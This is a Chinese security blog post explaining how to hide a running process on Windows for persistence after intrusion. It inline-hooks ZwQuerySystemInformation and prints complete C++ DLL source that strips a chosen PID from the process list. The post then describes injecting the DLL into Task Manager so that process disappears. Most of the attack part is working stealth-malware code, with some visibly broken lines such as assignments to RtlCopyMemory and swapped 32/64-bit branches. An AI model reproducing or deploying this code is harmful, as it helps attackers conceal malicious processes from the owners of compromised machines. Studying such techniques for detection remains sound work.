巧用进程隐藏进行权限维持

VSole2021-11-05 14:37:24

基础知识

进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是操作系统结构的基础。在早期面向进程设计的计算机结构中,进程是程序的基本执行实体;在当代面向线程设计的计算机结构中,进程是线程的容器。程序是指令、数据及其组织形式的描述,进程是程序的实体。

我们在计算机上的每个程序运行起来之后都可以被称作进程,进程可以在任务管理器里面看见,如下所示

那么我们在进行渗透的过程中,如果我们运行了一些本没有运行的进程,我们想要达到不被对方发现的效果,其中一个方法就是实现进程隐藏,让对方在任务管理器里面看不到这个进程,当然这里只针对的是不被小白发现,专业的人员不在这个讨论范围内。

那么实现进程隐藏可以通过HOOK api的方式实现,我们知道一般我们要获取进程快照都是使用CreateToolHelp32Snapshot这个api,而这个api在内核层最终会调用ZwQuerySystemInformation这个api来获取系统进程信息,那么我们就可以直接去hook内核的这个api,因为最终还是调用内核的这个api,从而实现进程隐藏

实现过程

那么这里需要一些基础知识,hook api的实现最终还是要归结到Inline HOOK,通过修改api的前几个字节的数据,写入一个E9(jump)到我们自己的函数中执行

简单介绍一下Inline hook,API函数都保存在操作系统提供的DLL文件中,当在程序中使用某个API函数时,在运行程序后,程序会隐式地将API所在的DLL加载入进程中。这样,程序就会像调用自己的函数一样调用API。

在进程中当EXE模块调用CreateFile()函数的时候,会去调用kernel32.dll模块中的CreateFile()函数,因为真正的CreateFile()函数的实现在kernel32.dll模块中。

CreateFile()是API函数,API函数也是由人编写的代码再编译而成的,也有其对应的二进制代码。既然是代码,那么就可以被修改。通过一种“野蛮”的方法来直接修改API函数在内存中的映像,从而对API函数进行HOOK。使用的方法是,直接使用汇编指令的jmp指令将其代码执行流程改变,进而执行我们的代码,这样就使原来的函数的流程改变了。执行完我们的流程以后,可以选择性地执行原来的函数,也可以不继续执行原来的函数。

假设要对某进程的kernel32.dll的CreateFile()函数进行HOOK,首先需要在指定进程中的内存中找到CreateFile()函数的地址,然后修改CreateFile()函数的首地址的代码为jmp MyProc的指令。这样,当指定的进程调用CreateFile()函数时,就会首先跳转到我们的函数当中去执行流程,这样就完成了我们的HOOK了。

那么既然有了IAThook,我们为什么还要用Inlinehook呢,直接用IAThook不是更方便吗?看硬编码多麻烦。

我们思考一个问题,如果函数不是以LoadLibrary方式加载,那么肯定在导入表里就不会出现,那么IAThook就不能使用了,这就是Inlinehook诞生的条件。

硬编码

何为硬编码?

这里我就不生搬概念性的东西来解释了,说说我自己的理解。硬编码可以说就是用十六进制的字符组成的,他是给cpu读的语言,我们知道在计算机里面只有0和1,如果你要让他去读c语言的那些字符他是读不懂的,他只会读0和1,这就是硬编码。

硬编码的结构如下,有定长指令、变长指令等等一系列指令,还跟各种寄存器相关联起来,确实如果我们去读硬编码的话太痛苦了

这里就不过多延伸了,我们在Inline hook里面只会用到一个硬编码就是E9,对应的汇编代码就是jmp

这里我就直接通过Inline hook来实现进程隐藏,首先我们要明确思路,首先我们要获取到ZwQuerySystemInformation这个函数的地址,首先看一下这个函数的结构

    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );

那么我们首先获取ntdll.dll的基址,这里可以使用GetModuleHandle,也可以使用LoadLibraryA

HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");

然后使用GetProcAddress获取ZwQuerySystemInformation的函数地址

typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

获取到函数地址之后我们就需要进行hook操作,这里注意一下,在32位中跳转的语句应该为jmp New_ZwQuerySystemInformation,对应的硬编码就是E9 xx xx xx xx,那么在32位的情况下我们要执行跳转就需要修改5个字节的硬编码,而在64位中跳转的语句应该为mov rax, 0x1234567812345678jmp rax,对应的硬编码就是48 b8 7856341278563412ff e0,需要修改12个字节

在32位的情况下,修改5个字节

BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };

计算偏移地址,计算公式为新地址 - 旧地址 - 5

DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;

因为我们要覆盖前5个字节那么我们首先把前5个字节放到其他地方保存

::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));

64位的情况下同理,只是修改字节为12个字节

 BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };   ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;  ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));  ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));

然后修改权限为可读可写可执行权限,否则会报错0xC0000005

::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);

修改硬编码,再还原属性

::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);

到这里我们的hook函数就已经完成得差不多了,再写一个unhook函数,思路大体相同,代码如下

void UnHookAPI(){   //获取ntdll.dll基址
   HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
   if (hDll == NULL)  {       printf("[!] GetModuleHandle false,error is: %d", GetLastError());       return;  }   else  {       printf("[*] GetModuleHandle successfully!\n\n");  }
   // 获取 ZwQuerySystemInformation 函数地址   typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
   if (NULL == ZwQuerySystemInformation)  {       printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());       return;  }   else  {       printf("[*] ZwQuerySystemInformation successfully!\n\n");  }
   // 修改为可读可写可执行权限   DWORD dwOldProtect = 0;  ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
   // 32位下还原5字节,64位下还原12字节
#ifdef _WIN64  ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));#else  ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));#endif   // 还原权限  ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);

当我们执行完hook函数之后,需要跳转到我们自己的函数,在我们自己的函数里面,在我们自己的函数里面需要判断是否检索系统的进程信息,如果进程信息存在我们就需要将进程信息剔除

那么我们首先将钩子卸载掉,防止多次同时访问hook函数而造成数据混乱

UnHookAPI();

然后加载ntdll.dll

HMODULE hDll = ::LoadLibraryA("ntdll.dll");

再获取ZwQuerySystemInformation的基址

typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

这里看一下ZwQuerySystemInformation这个函数结构

NTSTATUS WINAPI ZwQuerySystemInformation( _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_   PVOID                    SystemInformation, _In_      ULONG                    SystemInformationLength, _Out_opt_ PULONG                   ReturnLength);

主要要关注的有两个参数,第一个参数是SystemInformationClass,他是用来表示要检索的系统信息的类型,再就是返回值,当函数执行成功则返回NTSTATUS,否则返回错误代码,那么我们首先要判断消息类型是否是进程信息

status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass)

这里我们定义一个指针指向返回结果信息的缓冲区

pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

判断如果是我们想要隐藏进程的PID则删除进程信息

if (HideProcessID == (DWORD)pCur->UniqueProcessId)

删除完成之后我们再还原hook

HookAPI();

我们要实现的功能不只是在自己的进程空间内隐藏指定进程,那么我们就可以把代码写成dll文件方便注入,完整代码如下

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <iostream>#include <Winternl.h>
HMODULE g_hModule;BYTE g_Oldwin32[5] = { 0 };BYTE g_Oldwin64[12] = { 0 };
#pragma data_seg("mydata")HHOOK g_hHook = NULL;#pragma data_seg()#pragma comment(linker, "/SECTION:mydata,RWS")
NTSTATUS New_ZwQuerySystemInformation(   SYSTEM_INFORMATION_CLASS SystemInformationClass,   PVOID SystemInformation,   ULONG SystemInformationLength,   PULONG ReturnLength);
void HookAPI();void UnHookAPI();
void HookAPI(){
   //获取ntdll.dll基址
   HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
   if (hDll == NULL)  {       printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError());       return;  }   else  {       printf("[*] GetModuleHandle successfully!\n\n");  }#ifdef _WIN64   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );#else   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );#endif   // 获取 ZwQuerySystemInformation 函数地址   typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
   if (NULL == ZwQuerySystemInformation)  {       printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());       return;  }   else  {       printf("[*] ZwQuerySystemInformation successfully!\n\n");  }
   // 32位则修改前5字节,64位则修改前12字节
#ifdef _WIN64   // jmp New_ZwQuerySystemInformation   // E9 xx xx xx xx
   BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
   // 计算偏移地址 , 偏移地址 = 新地址 - 旧地址 - 5   DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;  ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));  ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
#else   // mov rax, 0x1234567812345678   // jmp rax   // 48 b8 7856341278563412   // ff e0
   BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };   ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;  ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));  ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
#endif   DWORD dwOldProtect = 0;
   //修改为可读可写可执行权限  ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);  ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
   //还原权限  ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);}
void UnHookAPI(){   //获取ntdll.dll基址
   HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
   if (hDll == NULL)  {       printf("[!] GetModuleHandle false,error is: %d", GetLastError());       return;  }   else  {       printf("[*] GetModuleHandle successfully!\n\n");  }#ifdef _WIN64   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );#else   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );#endif
   // 获取 ZwQuerySystemInformation 函数地址   typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
   if (NULL == ZwQuerySystemInformation)  {       printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());       return;  }   else  {       printf("[*] ZwQuerySystemInformation successfully!\n\n");  }
   // 修改为可读可写可执行权限   DWORD dwOldProtect = 0;  ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
   // 32位下还原5字节,64位下还原12字节
#ifdef _WIN64  ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));#else  ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));#endif
   // 还原权限  ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);}
NTSTATUS New_ZwQuerySystemInformation(   SYSTEM_INFORMATION_CLASS SystemInformationClass,   PVOID SystemInformation,   ULONG SystemInformationLength,   PULONG ReturnLength){   NTSTATUS status = 0;   PSYSTEM_PROCESS_INFORMATION pCur = NULL;   PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
   // 隐藏进程的PID   DWORD HideProcessID = 13972;
   // 卸载钩子   UnHookAPI();
   HMODULE hDll = ::LoadLibraryA("ntdll.dll");   if (hDll == NULL)  {       printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError());       return status;  }   else  {       printf("[*] LoadLibraryA successfully!\n\n");  }
#ifdef _WIN64   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );#else   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );#endif
   // 获取 ZwQuerySystemInformation 函数地址   typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
   if (NULL == ZwQuerySystemInformation)  {       printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());       return status;  }   else  {       printf("[*] ZwQuerySystemInformation successfully!\n\n");  }
   // 调用原函数 ZwQuerySystemInformation   status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
   if (NT_SUCCESS(status) && 5 == SystemInformationClass)  {       pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
       while (TRUE)      {           // 若为隐藏的进程PID则删除进程信息           if (HideProcessID == (DWORD)pCur->UniqueProcessId)          {               if (pCur->NextEntryOffset == 0)              {                   pPrev->NextEntryOffset = 0;              }
               else              {                   pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset;              }          }
           else          {               pPrev = pCur;          }
           if (pCur->NextEntryOffset == 0)          {               break;          }
           pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);      }  }
   HookAPI();
   return status;}
BOOL APIENTRY DllMain( HMODULE hModule,                      DWORD  ul_reason_for_call,                      LPVOID lpReserved                    ){   switch (ul_reason_for_call)  {   case DLL_PROCESS_ATTACH:       HookAPI();       g_hModule = hModule;       break;   case DLL_THREAD_ATTACH:   case DLL_THREAD_DETACH:   case DLL_PROCESS_DETACH:       UnHookAPI();       break;  }   return TRUE;}

实现效果

这里可以通过全局钩子注入或者远程线程注入把dll注入到其他进程里面,那么如果我们想要在任务管理器里面看不到某个进程,那么就需要将dll注入到任务管理器里面

我这里选择隐藏的是QQ音乐,这里运行下程序将dll注入

再看下效果,在任务管理器里面已经看不到QQ音乐这个进程了,进程隐藏成功

推荐实操:黑客攻防之木马揭秘

PC端体验地址:http://mrw.so/6tuBOy

本课程重点剖析木马技术,揭露黑客木马技术内幕,为更好防范木马提供有效

的策略和技术支持。本课程从整体入手,先讲解木马程序的整体框架雏形,然后逐步深入分析木马常用的隐藏技术、管道技术、反弹技术、rootkit、钩子技术及远程注入技术等等.

硬编码sizeof
本作品采用《CC 协议》,转载必须注明作者和本文链接
前言一次跟师傅交流时师傅谈到有些EDR或AV,他们保护目标主机,甚至无进程,不经想到病毒实际上也常用这种技术。
CobaltStrike ShellCode详解
2022-08-04 16:51:50
接下来就是重点了,加载起来的这段shellcode开头先将DF标志位置0,这里为什么这样做后面会提到。
最近在研究某数字杀软的时候看到有个配置选项:这个自我保护实际上是加载360SelfProtection.sys驱动(看这名字应该还有360SelfProtection_win10.sys文件),在0环通过hook等手段保护注册表项,重要进程进程等。
Windows中主要的异常处理机制:VEH、SEH、C++EH。 SEH中文全称:结构化异常处理。就是平时的__try __finally __try __except,是对c的扩展。 VEH中文全称:向量异常处理。一般来说AddVectoredExceptionHandler去添加一个异常处理函数,可以通过第一个参数决定是否将VEH函数插入到VEH链表头,插入到链表头的函数先执行,如果为
0x10 前言对前一段时间发现的几个命令注入漏洞做下记录:CVE-2022-28571 && CVE-2022-28572 CVE-2022-28571 这个漏洞的产生是因为Telnetd参数过滤不完整导致的,由于需要知道密码所以比较鸡肋,类似于授权后的命令注入,发现的过程很有意思,这篇文章主要介绍这个漏洞。
条件竞争类型的漏洞
程序是指令、数据及其组织形式的描述,进程是程序的实体。在进程中当EXE模块调用CreateFile()函数的时候,会去调用kernel32.dll模块中的CreateFile()函数,因为真正的CreateFile()函数的实现在kernel32.dll模块中。
在极棒(我是极客)比赛上看到玄武的追踪信标团队展示的项目,效果就是在耳机近场范围内,选手对耳机发起攻击然后变成了一个类似airtag跟踪器,技术评委带上耳机后在十分钟开车随便选择了一个地点,选手跟踪耳机最终确定了评委所在地。
VSole
网络安全专家